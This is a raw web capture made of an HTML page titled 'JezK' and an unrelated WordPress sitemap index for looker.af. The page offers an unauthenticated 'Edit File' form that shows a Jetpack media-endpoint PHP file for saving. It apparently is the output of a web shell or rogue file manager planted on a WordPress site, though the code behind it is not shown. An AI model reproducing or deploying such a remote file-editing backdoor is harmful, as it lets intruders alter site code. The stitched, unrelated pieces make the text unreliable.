
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class.wpcom-json-api-get-media-endpoint.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName

new WPCOM_JSON_API_Get_Media_Endpoint(
	array(
		&#039;description&#039;          =&gt; &#039;Get a single media item (by ID).&#039;,
		&#039;group&#039;                =&gt; &#039;media&#039;,
		&#039;stat&#039;                 =&gt; &#039;media:1&#039;,
		&#039;method&#039;               =&gt; &#039;GET&#039;,
		&#039;path&#039;                 =&gt; &#039;/sites/%s/media/%d&#039;,
		&#039;deprecated&#039;           =&gt; true,
		&#039;new_version&#039;          =&gt; &#039;1.1&#039;,
		&#039;max_version&#039;          =&gt; &#039;1&#039;,
		&#039;path_labels&#039;          =&gt; array(
			&#039;$site&#039;     =&gt; &#039;(int|string) Site ID or domain&#039;,
			&#039;$media_ID&#039; =&gt; &#039;(int) The ID of the media item&#039;,
		),
		&#039;response_format&#039;      =&gt; array(
			&#039;id&#039;          =&gt; &#039;(int) The ID of the media item&#039;,
			&#039;date&#039;        =&gt; &#039;(ISO 8601 datetime) The date the media was uploaded&#039;,
			&#039;parent&#039;      =&gt; &#039;(int) ID of the post this media is attached to&#039;,
			&#039;link&#039;        =&gt; &#039;(string) URL to the file&#039;,
			&#039;title&#039;       =&gt; &#039;(string) Filename&#039;,
			&#039;caption&#039;     =&gt; &#039;(string) User-provided caption of the file&#039;,
			&#039;description&#039; =&gt; &#039;(string) Description of the file&#039;,
			&#039;metadata&#039;    =&gt; &#039;(array) Array of metadata about the file, such as Exif data or sizes&#039;,
		),

		&#039;example_request&#039;      =&gt; &#039;https://public-api.wordpress.com/rest/v1/sites/82974409/media/934&#039;,
		&#039;example_request_data&#039; =&gt; array(
			&#039;headers&#039; =&gt; array(
				&#039;authorization&#039; =&gt; &#039;Bearer YOUR_API_TOKEN&#039;,
			),
		),
	)
);

/**
 * GET Media endpoint class.
 */
class WPCOM_JSON_API_Get_Media_Endpoint extends WPCOM_JSON_API_Endpoint {
	/**
	 *
	 * API callback.
	 *
	 * @param string $path - the path.
	 * @param int    $blog_id - the blog ID.
	 * @param int    $media_id - the media ID.
	 */
	public function callback( $path = &#039;&#039;, $blog_id = 0, $media_id = 0 ) {
		$blog_id = $this-&gt;api-&gt;switch_to_blog_and_validate_user( $this-&gt;api-&gt;get_blog_id( $blog_id ) );
		if ( is_wp_error( $blog_id ) ) {
			return $blog_id;
		}

		// upload_files can probably be used for other endpoints but we want contributors to be able to use media too.
		if ( ! current_user_can( &#039;edit_posts&#039;, $media_id ) ) {
			return new WP_Error( &#039;unauthorized&#039;, &#039;User cannot view media&#039;, 403 );
		}

		return $this-&gt;get_media_item( $media_id );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
